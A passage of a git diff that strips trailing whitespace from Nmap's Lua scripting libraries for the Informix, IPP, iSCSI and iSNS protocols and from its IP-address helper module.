decodes the response to the connect packet from the server. -- The function will return true even if the response contains an Informix -- error. In order to verify if the connection was successful, check for OS @@ -1086,22 +1086,22 @@ Packet.Connect = { readResponse = function( self, socket ) local status, data = socket:recv( 2 ) local len, pos, tmp - + if ( not(status) ) then return false, data end pos, len = bin.unpack(">S", data) status, data = socket:recv( len - 2 ) if ( not(status) ) then return false, data end - + pos = 13 pos, tmp = bin.unpack(">S", data, pos) pos = pos + tmp - + pos, tmp = bin.unpack(">S", data, pos) - + if ( 108 ~= tmp ) then return false, "Connect recieved unexpected response" end - + pos = pos + 12 -- version pos, len = bin.unpack(">S", data, pos) @@ -1110,41 +1110,41 @@ Packet.Connect = { -- serial pos, len = bin.unpack(">S", data, pos) pos, self.serial = bin.unpack("A" .. len, data, pos) - + -- applid pos, len = bin.unpack(">S", data, pos) pos, self.applid = bin.unpack("A" .. len, data, pos) - + -- skip 14 bytes ahead pos = pos + 14 -- do some more skipping pos, tmp = bin.unpack(">S", data, pos) pos = pos + tmp - + -- do some more skipping pos, tmp = bin.unpack(">S", data, pos) pos = pos + tmp - + -- skip another 24 bytes pos = pos + 24 pos, tmp = bin.unpack(">S", data, pos) - + if ( tmp ~= 102 ) then return false, "Connect recieved unexpected response" end - + pos = pos + 6 pos, self.svcerror = bin.unpack(">s", data, pos) pos, self.oserror = bin.unpack(">s", data, pos ) - + if ( self.svcerror ~= 0 ) then self.errmsg = Constants.ErrorMsg[self.svcerror] or ("Unknown error %d occured"):format( self.svcerror ) end - + return true end, - + --- Converts the class to a string suitable to send over the socket -- -- @return string containing the packet data @@ -1155,24 +1155,24 @@ Packet.Connect = { 00000006392e32383000000c524453235230303030303000000573716c690000 00013300000000000000000001 ]] - + local unknown2 = [[ 6f6c0000000000000000003d746c697463700000000000010068000b 00000003 ]] - + local unknown3 = [[ 00000000000000000000006a ]] - + local unknown4 = [[ 007f ]] if ( not(self.parameters) ) then self.parameters = {} self:addDefaultParameters() end - - data = bin.pack(">HPPHPHS", unknown, self.username, self.password, unknown2, self.instance, unknown3, #self.parameters ) + + data = bin.pack(">HPPHPHS", unknown, self.username, self.password, unknown2, self.instance, unknown3, #self.parameters ) if ( self.parameters ) then for _, v in ipairs( self.parameters ) do @@ -1181,18 +1181,18 @@ Packet.Connect = { end end end - + data = data .. bin.pack("H", unknown4) data = bin.pack(">S", #data + 2) .. data - + return data end, - - + + } -- The communication class -Comm = +Comm = { --- Creates a new Comm instance -- @@ -1205,7 +1205,7 @@ Comm = o.socket = socket return o end, - + --- Sends and packet and attempts to handle the response -- -- @param packets an instance of a Packet.* class @@ -1213,7 +1213,7 @@ Comm = -- decoder -- @return status true on success, false on failure -- @return data returned from the ResponseDecoder - exchIfxPacket = function( self, packet, info ) + exchIfxPacket = function( self, packet, info ) local _, typ local status, data = self.socket:send( tostring(packet) ) if ( not(status) ) then return false, data end @@ -1226,15 +1226,15 @@ Comm = else return false, ("Unsupported data returned from server (type: 0x%x)"):format(typ) end - + return status, data end - + } -- The Helper class providing easy access to the other db functionality Helper = { - + --- Creates a new Helper instance -- -- @param host table as passed to the action script function @@ -1253,7 +1253,7 @@ Helper = { o.instance = instance or "nmap_probe" return o end, - + --- Connects to the Informix server -- -- @return true on success, false on failure @@ -1267,9 +1267,9 @@ Helper = { if( not(status) ) then return status, data end - + self.comm = Comm:new( self.socket ) - + return true end, @@ -1278,10 +1278,10 @@ Helper = { -- used to connect to the database. In case it's ommited a set of default -- parameters are set. Parameters should be past as key, value pairs inside -- of a table array as the following example: - -- + -- -- local params = { -- [1] = { ["PARAM1"] = "VALUE1" }, - -- [2] = { ["PARAM2"] = "VALUE2" }, + -- [2] = { ["PARAM2"] = "VALUE2" }, -- } -- -- @param username string containing the username for authentication @@ -1290,17 +1290,17 @@ Helper = { -- @param database [optional] database to connect to -- @param retry [optional] used when autodetecting instance -- @return status true on success, false on failure - -- @return err containing the error message if status is false + -- @return err containing the error message if status is false Login = function( self, username, password, parameters, database, retry ) local conn, status, data, len, packet conn = Packet.Connect:new( username, password, self.instance, parameters ) - + status, data = self.socket:send( tostring(conn) ) if ( not(status) ) then return false, "Helper.Login failed to send login request" end status = conn:readResponse( self.socket ) if ( not(status) ) then return false, "Helper.Login failed to read response" end - + if ( status and ( conn:getOsError() ~= 0 or conn:getSvcError() ~= 0 ) ) then -- Check if we didn't supply the correct instance name, if not attempt to -- reconnect using the instance name returned by the server @@ -1312,23 +1312,23 @@ Helper = { end return false, conn:getErrMsg() end - + status, packet = self.comm:exchIfxPacket( Packet.SQ_PROTOCOLS:new() ) if ( not(status) ) then return false, packet end status, packet = self.comm:exchIfxPacket( Packet.SQ_INFO:new() ) if ( not(status) ) then return false, packet end - + -- If a database was supplied continue further protocol negotiation and -- attempt to open the database. if ( database ) then status, packet = self:OpenDatabase( database ) if ( not(status) ) then return false, packet end end - + return true end, - + --- Opens a database -- -- @param database string containing the database name @@ -1337,7 +1337,7 @@ Helper = { OpenDatabase = function( self, database ) return self.comm:exchIfxPacket( Packet.SQ_DBOPEN:new( database ) ) end, - + --- Attempts to retrieve a list of available databases -- -- @return status true on success, false on failure @@ -1345,24 +1345,24 @@ Helper = { GetDatabases = function( self ) return self.comm:exchIfxPacket( Packet.SQ_DBLIST:new() ) end, - + Query = function( self, query ) local status, metadata, data, res local id, seq = 0, 1 local result = {} - + if ( type(query) == "string" ) then query = stdnse.strsplit(";%s*", query) end - + for _, q in ipairs( query ) do if ( q:upper():match("^%s*SELECT") ) then status, data = self.comm:exchIfxPacket( Packet.SQ_PREPARE:new( q ) ) - seq = seq + 1 + seq = seq + 1 else status, data = self.comm:exchIfxPacket( Packet.SQ_COMMAND:new( q .. ";" ) ) end - + if( status and data ) then metadata = data.metadata status, data = self.comm:exchIfxPacket( Packet.SQ_ID:new( data.stmt_id, seq, "begin" ), { metadata = metadata, id = id, rows = nil, query=q } ) @@ -1379,10 +1379,10 @@ Helper = { end table.insert( result, data ) end - + return true, result end, - + --- Closes the connection to the server -- -- @return status true on success, false on failure @@ -1390,7 +1390,7 @@ Helper = { local status, packet = self.comm:exchIfxPacket( Packet.SQ_EXIT:new() ) return self.socket:close() end, - + } return _ENV; diff --git a/nselib/ipOps.lua b/nselib/ipOps.lua index 79d38ddbd..1279b8fac 100644 --- a/nselib/ipOps.lua +++ b/nselib/ipOps.lua @@ -154,12 +154,12 @@ todword = function( ip ) end --- --- Converts the supplied IPv4 address from a DWORD value into a dotted string. +-- Converts the supplied IPv4 address from a DWORD value into a dotted string. -- --- For example, the address (((a*256+b)*256+c)*256+d) becomes a.b.c.d. +-- For example, the address (((a*256+b)*256+c)*256+d) becomes a.b.c.d. -- ---@param ip DWORD representing an IPv4 address. ---@return The string representing the address. +--@param ip DWORD representing an IPv4 address. +--@return The string representing the address. fromdword = function( ip ) if type( ip ) ~= "number" then stdnse.print_debug(1, "Error in ipOps.todword: Expected IPv4 address.") @@ -354,7 +354,7 @@ expand_ip = function( ip, family ) if family == "inet6" then return ( table.concat( { 0,0,0,0,0,"ffff", stdnse.tohex( 256*octets[1]+octets[2] ), - stdnse.tohex( 256*octets[3]+octets[4] ) + stdnse.tohex( 256*octets[3]+octets[4] ) }, ":" ) ) else return ( table.concat( octets, "." ) ) diff --git a/nselib/ipp.lua b/nselib/ipp.lua index 329616ac6..d9682932c 100644 --- a/nselib/ipp.lua +++ b/nselib/ipp.lua @@ -17,11 +17,11 @@ _ENV = stdnse.module("ipp", stdnse.seeall) -- The IPP layer IPP = { - + StatusCode = { OK = 0, }, - + State = { IPP_JOB_PENDING = 3, IPP_JOB_HELD = 4, @@ -31,7 +31,7 @@ IPP = { IPP_JOB_ABORTED = 8, IPP_JOB_COMPLETED = 9, }, - + StateName = { [3] = "Pending", [4] = "Held", @@ -41,7 +41,7 @@ IPP = { [8] = "Aborted", [9] = "Completed", }, - + OperationID = { IPP_CANCEL_JOB = 0x0008, IPP_GET_JOB_ATTRIBUTES = 0x0009, @@ -49,13 +49,13 @@ IPP = { CUPS_GET_PRINTERS = 0x4002, CUPS_GET_DOCUMENT = 0x4027 }, - + PrinterState = { IPP_PRINTER_IDLE = 3, IPP_PRINTER_PROCESSING = 4, IPP_PRINTER_STOPPED = 5, }, - + Attribute = { IPP_TAG_OPERATION = 0x01, @@ -69,25 +69,25 @@ IPP = { IPP_TAG_URI = 0x45, IPP_TAG_CHARSET = 0x47, IPP_TAG_LANGUAGE = 0x48, - + new = function(self, tag, name, value) local o = { tag = tag, name = name, value = value } setmetatable(o, self) self.__index = self return o end, - + parse = function(data, pos) local attrib = IPP.Attribute:new() local val pos, attrib.tag, attrib.name, val = bin.unpack(">CPP", data, pos) -- print(attrib.name, stdnse.tohex(val)) - attrib.value = {} + attrib.value = {} table.insert(attrib.value, { tag = attrib.tag, val = val }) - + repeat local tag, name_len, val - + if ( #data < pos + 3 ) then break end @@ -100,7 +100,7 @@ IPP = { pos = pos - 3 end until( name_len ~= 0 ) - + -- do minimal decoding for i=1, #attrib.value do if ( attrib.value[i].tag == IPP.Attribute.IPP_TAG_INTEGER ) then @@ -109,15 +109,15 @@ IPP = { attrib.value[i].val = select(2, bin.unpack(">I", attrib.value[i].val)) end end - + if ( 1 == #attrib.value ) then attrib.value = attrib.value[1].val end --print(attrib.name, attrib.value, stdnse.tohex(val)) - + return pos, attrib end, - + __tostring = function(self) if ( "string" == type(self.value) ) then return bin.pack(">CSASA", self.tag, #self.name, self.name, #self.value, self.value) @@ -129,23 +129,23 @@ IPP = { return data end end - + }, - + -- An attribute group, groups several attributes AttributeGroup = { - + new = function(self, tag, attribs) local o = { tag = tag, attribs = attribs or {} } setmetatable(o, self) self.__index = self return o end, - + addAttribute = function(self, attrib) table.insert(self.attribs, attrib) end, - + -- -- Gets the first attribute matching name and optionally tag from the -- attribute group. @@ -175,23 +175,23 @@ IPP = { end end end, - + __tostring = function(self) local data = bin.pack("C", self.tag) - + for _, attrib in ipairs(self.attribs) do data = data .. tostring(attrib) end return data end - + }, - + -- The IPP request Request = { - + new = function(self, opid, reqid) - local o = { + local o = { version = 0x0101, opid = opid, reqid = reqid, @@ -201,11 +201,11 @@ IPP = { self.__index = self return o end, - + addAttributeGroup = function(self, group) table.insert( self.attrib_groups, group ) end, - + __tostring = function(self) local data = bin.pack(">SSI", self.version, self.opid, self.reqid ) @@ -215,12 +215,12 @@ IPP = { data = data .. bin.pack("C", IPP.Attribute.IPP_TAG_END) return data end, - + }, - + -- A class to handle responses from the server Response = { - + -- Creates a new instance of response new = function(self) local o = {} @@ -228,7 +228,7 @@ IPP = { self.__index = self return o end, - + getAttributeGroups = function(self, tag) local groups = {} for _, v in ipairs(self.attrib_groups or {}) do @@ -238,24 +238,24 @@ IPP = { end return groups end, - + parse = function(data) local resp = IPP.Response:new() local pos - + pos, resp.version, resp.status, resp.reqid = bin.unpack(">SSI", data) - + resp.attrib_groups = {} local group repeat local tag, attrib pos, tag = bin.unpack(">C", data, pos) - + if ( tag == IPP.Attribute.IPP_TAG_OPERATION or tag == IPP.Attribute.IPP_TAG_JOB or tag == IPP.Attribute.IPP_TAG_PRINTER or tag == IPP.Attribute.IPP_TAG_END ) then - + if ( group ) then table.insert(resp.attrib_groups, group) group = IPP.AttributeGroup:new(tag) @@ -265,27 +265,27 @@ IPP = { else pos = pos - 1 end - + if ( not(group) ) then stdnse.print_debug(2, "Unexpected tag: %d", tag) return end - + pos, attrib = IPP.Attribute.parse(data, pos) group:addAttribute(attrib) - + until( pos == #data + 1) - + return resp end, - + }, - - + + } HTTP = { - + Request = function(host, port, request) local headers = { ['Content-Type'] = 'application/ipp', @@ -301,28 +301,28 @@ HTTP = { if ( not(response) ) then return false, "Failed to parse response" end - + return true, response end, - + } Helper = { - + new = function(self, host, port, options) local o = { host = host, port = port, options = options or {} } setmetatable(o, self) self.__index = self return o end, - + connect = function(self) self.socket = nmap.new_socket() self.socket:set_timeout(self.options.timeout or 10000) return self.socket:connect(self.host, self.port) end, - + getPrinters = function(self) local attribs = { @@ -340,17 +340,17 @@ Helper = { end local printers = {} - + for _, ag in ipairs(response:getAttributeGroups(IPP.Attribute.IPP_TAG_PRINTER)) do - local attrib = { - ["printer-name"] = "name", + local attrib = { + ["printer-name"] = "name", ["printer-location"] = "location", ["printer-make-and-model"] = "model", ["printer-state"] = "state", ["queued-job-count"] = "queue_count", ["printer-dns-sd-name"] = "dns_sd_name", } - + local printer = {} for k, v in pairs(attrib) do if ( ag:getAttributeValue(k) ) then @@ -361,10 +361,10 @@ Helper = { end return true, printers end, - + getQueueInfo = function(self, uri) local uri = uri or ("ipp://%s/"):format(self.host.ip) - + local attribs = { IPP.Attribute:new(IPP.Attribute.IPP_TAG_CHARSET, "attributes-charset", "utf-8" ), IPP.Attribute:new(IPP.Attribute.IPP_TAG_LANGUAGE, "attributes-natural-language", "en-us"), @@ -384,16 +384,16 @@ Helper = { { tag = IPP.Attribute.IPP_TAG_KEYWORD, val = "time-at-creation" } } ), IPP.Attribute:new(IPP.Attribute.IPP_TAG_KEYWORD, "which-jobs", "not-completed" ) } - + local ag = IPP.AttributeGroup:new(IPP.Attribute.IPP_TAG_OPERATION, attribs) local request = IPP.Request:new(IPP.OperationID.IPP_GET_JOBS, 1) request:addAttributeGroup(ag) - + local status, response = HTTP.Request( self.host, self.port, tostring(request) ) if ( not(response) ) then return status, response end - + local results = {} for _, ag in ipairs(response:getAttributeGroups(IPP.Attribute.IPP_TAG_JOB)) do local uri = ag:getAttributeValue("printer-uri") @@ -407,19 +407,19 @@ Helper = { local size = ag:getAttributeValue("job-k-octets") .. "k" local jobname = ag:getAttributeValue("com.apple.print.JobInfo.PMJobName") or "Unknown" local owner = ag:getAttributeValue("com.apple.print.JobInfo.PMJobOwner") or "Unknown" - + results[printer] = results[printer] or {} table.insert(results[printer], { - id = id, + id = id, time = os.date("%Y-%m-%d %H:%M:%S", tm), state = ( IPP.StateName[tonumber(state)] or "Unknown" ), size = size, owner = owner, - jobname = jobname }) + jobname = jobname }) end - + local output = {} - for name, entries in pairs(results) do + for name, entries in pairs(results) do local t = tab.new(5) tab.addrow(t, "id", "time", "state", "size (kb)", "owner", "jobname") for _, entry in ipairs(entries) do @@ -429,10 +429,10 @@ Helper = { table.insert(output, { name = name, tab.dump(t) }) end end - + return output end, - + close = function(self) return self.socket:close() end, diff --git a/nselib/iscsi.lua b/nselib/iscsi.lua index f7a479ac7..6a5688b2b 100644 --- a/nselib/iscsi.lua +++ b/nselib/iscsi.lua @@ -8,7 +8,7 @@ -- E.g. LoginRequest and LoginResponse -- -- Each request can be "serialized" to a string using: --- tostring(request). +-- tostring(request). -- All responses can be read and instantiated from the socket by calling: -- local status,resp = Response.fromSocket(sock) -- @@ -48,15 +48,15 @@ _ENV = stdnse.module("iscsi", stdnse.seeall) Packet = { - - Opcode = { + + Opcode = { LOGIN = 0x03, TEXT = 0x04, LOGOUT = 0x06, }, - + LoginRequest = { - + CSG = { SecurityNegotiation = 0, LoginOperationalNegotiation = 1, @@ -68,7 +68,7 @@ Packet = { LoginOperationalNegotiation = 1, FullFeaturePhase = 3, }, - + --- Creates a new instance of LoginRequest -- -- @return instance of LoginRequest @@ -92,9 +92,9 @@ Packet = { o.kvp = KVP:new() return o end, - + setImmediate = function(self, b) self.immediate = ( b and 1 or 0 ) end, - + --- Sets the transit bit -- -- @param b boolean containing the new transit value @@ -107,12 +107,12 @@ Packet = { --- Sets the CSG values -- - -- @param csg number containing the new NSG value + -- @param csg number containing the new NSG value setCSG = function(self, csg) self.flags.csg = csg end, --- Sets the NSG values -- - -- @param nsg number containing the new NSG value + -- @param nsg number containing the new NSG value setNSG = function(self, nsg) self.flags.nsg = nsg end, --- Converts the class instance to string @@ -130,27 +130,27 @@ Packet = { for i=1, pad do kvps = kvps .. "\0" end local len = bit.lshift( self.total_ahs_len, 24 ) + self.data_seg_len - local flags = bit.lshift( ( self.flags.transit or 0 ), 7 ) + local flags = bit.lshift( ( self.flags.transit or 0 ), 7 ) flags = flags + bit.lshift( ( self.flags.continue or 0 ), 6) flags = flags + ( self.flags.nsg or 0 ) flags = flags + bit.lshift( ( self.flags.csg or 0 ), 2 ) - + local opcode = self.opcode + bit.lshift((self.immediate or 0), 6) - - local data = bin.pack(">CCCCICSCSSISSIILLA", opcode, - flags, self.ver_max, self.ver_min, len, - bit.lshift( self.isid.t, 6 ) + bit.band( self.isid.a, 0x3f), - self.isid.b, self.isid.c, self.isid.d, self.tsih, - self.initiator_task_tag, self.cid, reserved, self.cmdsn, + + local data = bin.pack(">CCCCICSCSSISSIILLA", opcode, + flags, self.ver_max, self.ver_min, len, + bit.lshift( self.isid.t, 6 ) + bit.band( self.isid.a, 0x3f), + self.isid.b, self.isid.c, self.isid.d, self.tsih, + self.initiator_task_tag, self.cid, reserved, self.cmdsn, self.expstatsn, reserved, reserved, kvps ) - + return data end - + }, - + LoginResponse = { - + -- Error messages ErrorMsgs = { [0x0000] = "Success", @@ -172,13 +172,13 @@ Packet = { [0x0301] = "Service unavailable", [0x0302] = "Out of resources", }, - + -- Error constants Errors = { SUCCESS = 0, AUTH_FAILED = 0x0201, }, - + --- Creates a new instance of LoginResponse -- -- @return instance of LoginResponse @@ -188,54 +188,54 @@ Packet = { self.__index = self return o end, - + --- Returns the error message getErrorMessage = function( self ) return Packet.LoginResponse.ErrorMsgs[self.status_code] or "Unknown error" end, - + --- Returns the error code getErrorCode = function( self ) return self.status_code or 0 end, - + --- Creates a LoginResponse with data read from the socket -- -- @return status true on success, false on failure -- @return resp instance of LoginResponse fromSocket = function( s ) local status, header = s:recv(48) - - if ( not(status) ) then + + if ( not(status) ) then return false, "Failed to read header from socket" end - + local resp = Packet.LoginResponse:new() local pos, len = bin.unpack(">I", header, 5) - + resp.total_ahs_len = bit.rshift(len, 24) resp.data_seg_len = bit.band(len, 0x00ffffff) pos, resp.status_code = bin.unpack(">S", header, 37) - + local pad = ( 4 - ( resp.data_seg_len % 4 ) ) pad = ( pad == 4 ) and 0 or pad - + local status, data = s:recv( resp.data_seg_len + pad ) - if ( not(status) ) then + if ( not(status) ) then return false, "Failed to read data from socket" end - + resp.kvp = KVP:new() for _, kvp in ipairs(stdnse.strsplit( "\0", data )) do local k, v = kvp:match("(.*)=(.*)") if ( v ) then resp.kvp:add( k, v ) end end - + return true, resp end, - + }, - + TextRequest = { - + --- Creates a new instance of TextRequest -- -- @return instance of TextRequest @@ -243,7 +243,7 @@ Packet = { local o = {} setmetatable(o, self) self.__index = self - o.opcode = Packet.Opcode.TEXT + o.opcode = Packet.Opcode.TEXT o.flags = {} o.flags.final = 0 o.flags.continue = 0 @@ -257,37 +257,37 @@ Packet = { o.kvp = KVP:new() return o end, - + --- Sets the final bit of the TextRequest setFinal = function( self, b ) self.flags.final = ( b and 1 or 0 ) end, --- Sets the continue bit of the TextRequest setContinue = function( self, b ) self.flags.continue = ( b and 1 or 0 ) end, - + --- Converts the class instance to string -- -- @return string containing the converted instance __tostring = function(self) local flags = bit.lshift( ( self.flags.final or 0 ), 7 ) - flags = flags + bit.lshift( (self.flags.continue or 0), 6 ) + flags = flags + bit.lshift( (self.flags.continue or 0), 6 ) local kvps = tostring(self.kvp) for i=1, (#kvps % 2) do kvps = kvps .. "\0" end self.data_seg_len = #kvps - + local len = bit.lshift( self.total_ahs_len, 24 ) + self.data_seg_len local reserved = 0 local data = bin.pack(">CCSILIIIILLA", self.opcode, flags, reserved, - len, self.lun, self.initiator_task_tag, self.target_trans_tag, + len, self.lun, self.initiator_task_tag, self.target_trans_tag, self.cmdsn, self.expstatsn, reserved, reserved, kvps) - + return data end, - + }, TextResponse = { - + --- Creates a new instance of TextResponse -- -- @return instance of TextResponse @@ -297,7 +297,7 @@ Packet = { self.__index = self return o end, - + --- Creates a TextResponse with data read from the socket -- -- @return status true on success, false on failure @@ -306,7 +306,7 @@ Packet = { fromSocket = function( s ) local resp = Packet.TextResponse:new() local textdata = "" - + repeat local status, header = s:recv(48) local pos, _, flags, _, _, len = bin.unpack(">CCCCI", header) @@ -314,23 +314,23 @@ Packet = { resp.total_ahs_len = bit.rshift(len, 24) resp.data_seg_len = bit.band(len, 0x00ffffff) - + local data status, data = s:recv( resp.data_seg_len ) - + textdata = textdata .. data - + until( not(cont) ) - + resp.records = {} local kvps = stdnse.strsplit( "\0", textdata ) local record - + -- Each target record starts with one text key of the form: -- TargetName= -- Followed by zero or more address keys of the form: - -- TargetAddress=[:], + -- TargetAddress=[:], -- for _, kvp in ipairs(kvps) do local k, v = kvp:match("(.*)%=(.*)") @@ -344,7 +344,7 @@ Packet = { elseif ( k == "TargetAddress" ) then record.addr = record.addr or {} table.insert( record.addr, v ) - elseif ( not(k) ) then + elseif ( not(k) ) then -- this should be the ending empty kvp table.insert(resp.records, record) break @@ -352,14 +352,14 @@ Packet = { stdnse.print_debug("ERROR: iscsi.TextResponse: Unknown target record (%s)", k) end end - + return true, resp end, }, - + --- Class handling a login request LogoutRequest = { - + --- Creates a new instance of LogoutRequest -- -- @return instance of LogoutRequest @@ -377,8 +377,8 @@ Packet = { o.cmdsn = 0 o.expstatsn = 1 return o - end, - + end, + --- Converts the class instance to string -- -- @return string containing the converted instance @@ -389,15 +389,15 @@ Packet = { local data = bin.pack(">CCSILISSIILL", opcode, (0x80 + self.reasoncode), reserved, len, reserved,self.initiator_task_tag, self.cid, reserved, self.cmdsn, self.expstatsn, reserved, reserved ) - + return data end, }, - - + + --- Class handling the Logout response LogoutResponse = { - + --- Creates a new instance of LogoutResponse -- -- @return instance of LogoutResponse @@ -407,7 +407,7 @@ Packet = { self.__index = self return o end, - + --- Creates a LogoutResponse with data read from the socket -- -- @return status true on success, false on failure @@ -419,7 +419,7 @@ Packet = { if ( not(status) ) then return status, header end return true, resp end - + } } @@ -427,7 +427,7 @@ Packet = { -- In addition it keeps track of both immediate packets and the amount of read -- packets and updates cmdsn and expstatsn accordingly. Comm = { - + --- Creates a new instance of Comm -- -- @return instance of Comm @@ -440,39 +440,39 @@ Comm = { o.socket = socket return o end, - + --- Sends a packet and retrieves the response -- -- @param out_packet instance of a packet to send -- @param in_class class of the packet to read -- @return status true on success, false on failure - -- @return r decoded instance of in_class + -- @return r decoded instance of in_class exchange = function( self, out_packet, in_class ) - + local expstatsn = ( self.expstatsn == 0 ) and 1 or self.expstatsn - + if ( out_packet.immediate and out_packet.immediate == 1 ) then self.cmdsn = self.cmdsn + 1 end - + out_packet.expstatsn = expstatsn out_packet.cmdsn = self.cmdsn - + self.socket:send( tostring( out_packet ) ) local status, r = in_class.fromSocket( self.socket ) self.expstatsn = self.expstatsn + 1 - + return status, r end, - - + + } --- A buffered socket implementation Socket = -{ - +{ + --- Creates a new instance of Socket -- -- @return instance of Socket @@ -484,7 +484,7 @@ Socket = o.Buffer = nil return o end, - + --- Establishes a connection. -- @@ -497,7 +497,7 @@ Socket = self.Socket:set_timeout(10000) return self.Socket:connect( hostid, port, protocol ) end, - + --- Closes an open connection. -- -- @return Status (true or false). @@ -505,7 +505,7 @@ Socket = close = function( self ) return self.Socket:close() end, - + --- Opposed to the socket:receive_bytes function, that returns -- at least x bytes, this function returns the amount of bytes requested. -- @@ -515,9 +515,9 @@ Socket = -- err containing error message if status is false recv = function( self, count ) local status, data - + self.Buffer = self.Buffer or "" - + if ( #self.Buffer < count ) then status, data = self.Socket:receive_bytes( count - #self.Buffer ) if ( not(status) or #data < count - #self.Buffer ) then @@ -525,13 +525,13 @@ Socket = end self.Buffer = self.Buffer .. data end - + data = self.Buffer:sub( 1, count ) self.Buffer = self.Buffer:sub( count + 1) - - return true, data + + return true, data end, - + --- Sends data over the socket -- -- @return Status (true or false). @@ -543,7 +543,7 @@ Socket = --- Key/Value pairs class KVP = { - + --- Creates a new instance of KVP -- -- @return instance of KVP @@ -554,7 +554,7 @@ KVP = { o.kvp = {} return o end, - + --- Adds a key/value pair -- -- @param key string containing the key name @@ -562,12 +562,12 @@ KVP = { add = function( self, key, value ) table.insert( self.kvp, {[key]=value} ) end, - + --- Gets all values for a specific key -- -- @param key string containing the name of the key to retrieve -- @return values table containing all values for the specified key - get = function( self, key ) + get = function( self, key ) local values = {} for _, kvp in ipairs(self.kvp) do for k, v in pairs( kvp ) do @@ -578,7 +578,7 @@ KVP = { end return values end, - + --- Returns all key value pairs as string delimited by \0 -- eg. "key1=val1\0key2=val2\0" -- @@ -592,12 +592,12 @@ KVP = { end return ret end, - + } --- CHAP authentication class CHAP = { - + --- Calculate a CHAP - response -- -- @param identifier number containing the CHAP identifier @@ -607,12 +607,12 @@ CHAP = { calcResponse = function( identifier, challenge, secret ) return openssl.md5( identifier .. secret .. challenge ) end, - + } --- The helper class contains functions with more descriptive names Helper = { - + --- Creates a new instance of the Helper class -- -- @param host table as received by the script action function @@ -626,7 +626,7 @@ Helper = { o.socket = Socket:new() return o end, - + --- Connects to the iSCSI target -- -- @return status true on success, false on failure @@ -638,7 +638,7 @@ Helper = { self.comm = Comm:new( self.socket ) return true end, - + --- Attempts to discover accessible iSCSI targets on the remote server -- -- @return status true on success, false on failure @@ -648,18 +648,18 @@ Helper = { -- err string containing an error message is status is false discoverTargets = function( self ) local p = Packet.LoginRequest:new() - + p:setTransit(true) p:setNSG(Packet.LoginRequest.NSG.LoginOperationalNegotiation) p.kvp:add( "InitiatorName", "iqn.1991-05.com.microsoft:nmap_iscsi_probe" ) p.kvp:add( "SessionType", "Discovery" ) p.kvp:add( "AuthMethod", "None" ) - + local status, resp = self.comm:exchange( p, Packet.LoginResponse ) if ( not(status) ) then return false, ("ERROR: iscsi.Helper.discoverTargets: %s"):format(resp) end - + local auth_method = resp.kvp:get("AuthMethod")[1] if ( auth_method:upper() ~= "NONE" ) then return false, "ERROR: iscsi.Helper.discoverTargets: Unsupported authentication method" @@ -674,9 +674,9 @@ Helper = { p.kvp:add( "MaxRecvDataSegmentLength", "65536") p.kvp:add( "DefaultTime2Wait", "0") p.kvp:add( "DefaultTime2Retain", "60") - + status, resp = self.comm:exchange( p, Packet.LoginResponse ) - + p = Packet.TextRequest:new() p:setFinal(true) p.kvp:add( "SendTargets", "All" ) @@ -685,13 +685,13 @@ Helper = { if ( not(resp.records) ) then return false, "iscsi.discoverTargets: response returned no targets" end - + for _, record in ipairs(resp.records) do table.sort( record.addr, function(a, b) local c = ipOps.compare_ip(a:match("(.-):"), "le", b:match("(.-):")); return c end ) end return true, resp.records end, - + --- Logs out from the iSCSI target -- -- @return status true on success, false on failure @@ -713,25 +713,25 @@ Helper = { login = function( self, target_name, username, password, auth_method ) local auth_method = auth_method or "None" - + if ( not(target_name) ) then return false, "No target name specified" end - - if ( auth_method:upper()~= "NONE" and + + if ( auth_method:upper()~= "NONE" and auth_method:upper()~= "CHAP" ) then return false, "Unknown authentication method" end - + local p = Packet.LoginRequest:new() - + p:setTransit(true) p:setNSG(Packet.LoginRequest.NSG.LoginOperationalNegotiation) p.kvp:add( "InitiatorName", "iqn.1991-05.com.microsoft:nmap_iscsi_probe" ) p.kvp:add( "SessionType", "Normal" ) p.kvp:add( "TargetName", target_name ) p.kvp:add( "AuthMethod", auth_method ) - + if ( not(self.comm) ) then return false, "ERROR: iscsi.Helper.login: Not connected" end @@ -746,28 +746,28 @@ Helper = { elseif ( auth_method:upper()=="NONE" ) then return true, resp end - + p = Packet.LoginRequest:new() p.kvp:add( "CHAP_A", "5" ) status, resp = self.comm:exchange( p, Packet.LoginResponse ) if ( not(status) ) then return false, ("ERROR: iscsi.Helper.login: %s"):format(resp) end - + local alg = resp.kvp:get("CHAP_A")[1] if ( alg ~= "5" ) then return false, "Unsupported authentication algorithm" end local chall = resp.kvp:get("CHAP_C")[1] if ( not(chall) ) then return false, "Failed to decode challenge" end chall = bin.pack("H", chall:sub(3)) - + local ident = resp.kvp:get("CHAP_I")[1] if (not(ident)) then return false, "Failed to decoded identifier" end ident = string.char(tonumber(ident)) local resp = CHAP.calcResponse( ident, chall, password ) resp = "0x" .. select(2, bin.unpack("H16", resp)) - + p = Packet.LoginRequest:new() p:setImmediate(true) p:setTransit(true) @@ -783,13 +783,13 @@ Helper = { if ( resp:getErrorCode() ~= Packet.LoginResponse.Errors.SUCCESS ) then return false, "Login failed" end - + return true, resp end, - + --- Disconnects the socket from the server close = function(self) self.socket:close() end - + } diff --git a/nselib/isns.lua b/nselib/isns.lua index e827d0905..8095cb0a7 100644 --- a/nselib/isns.lua +++ b/nselib/isns.lua @@ -15,20 +15,20 @@ local table = require('table') _ENV = stdnse.module("isns", stdnse.seeall); iSCSI = { - + NodeType = { TARGET = 1, - INITIATOR = 2, + INITIATOR = 2, CONTROL = 4, } - + } Header = { VERSION = 1, - + -- -- Creates a header instance -- @@ -41,7 +41,7 @@ Header = { new = function(self, func_id, pdu_len, flags, trans_id, seq_id) local o = { ver = Header.VERSION, - func_id = func_id, + func_id = func_id, flags = flags, trans_id = trans_id, seq_id = seq_id, @@ -51,7 +51,7 @@ Header = { self.__index = self return o end, - + -- -- Parses a opaque string and creates a new Header instance -- @@ -60,25 +60,25 @@ Header = { parse = function(data) local hdr = Header:new() local pos - + pos, hdr.ver, hdr.func_id, hdr.pdu_len, hdr.flags, hdr.trans_id, hdr.seq_id = bin.unpack(">SSSSSS", data) - + return hdr end, - + -- -- Converts the instance to an opaque string -- @return str containing an opaque string __tostring = function(self) - return bin.pack(">SSSSSS", self.ver, self.func_id, + return bin.pack(">SSSSSS", self.ver, self.func_id, self.pdu_len, self.flags, self.trans_id, self.seq_id ) end - + } Attribute = { - + Tag = { ISNS_TAG_DELIMITER = 0, ISNS_TAG_ENTITY_IDENTIFIER = 1, @@ -164,7 +164,7 @@ Attribute = { ISNS_VENDOR_SPECIFIC_DDSET_BASE = 1281, ISNS_VENDOR_SPECIFIC_OTHER_BASE = 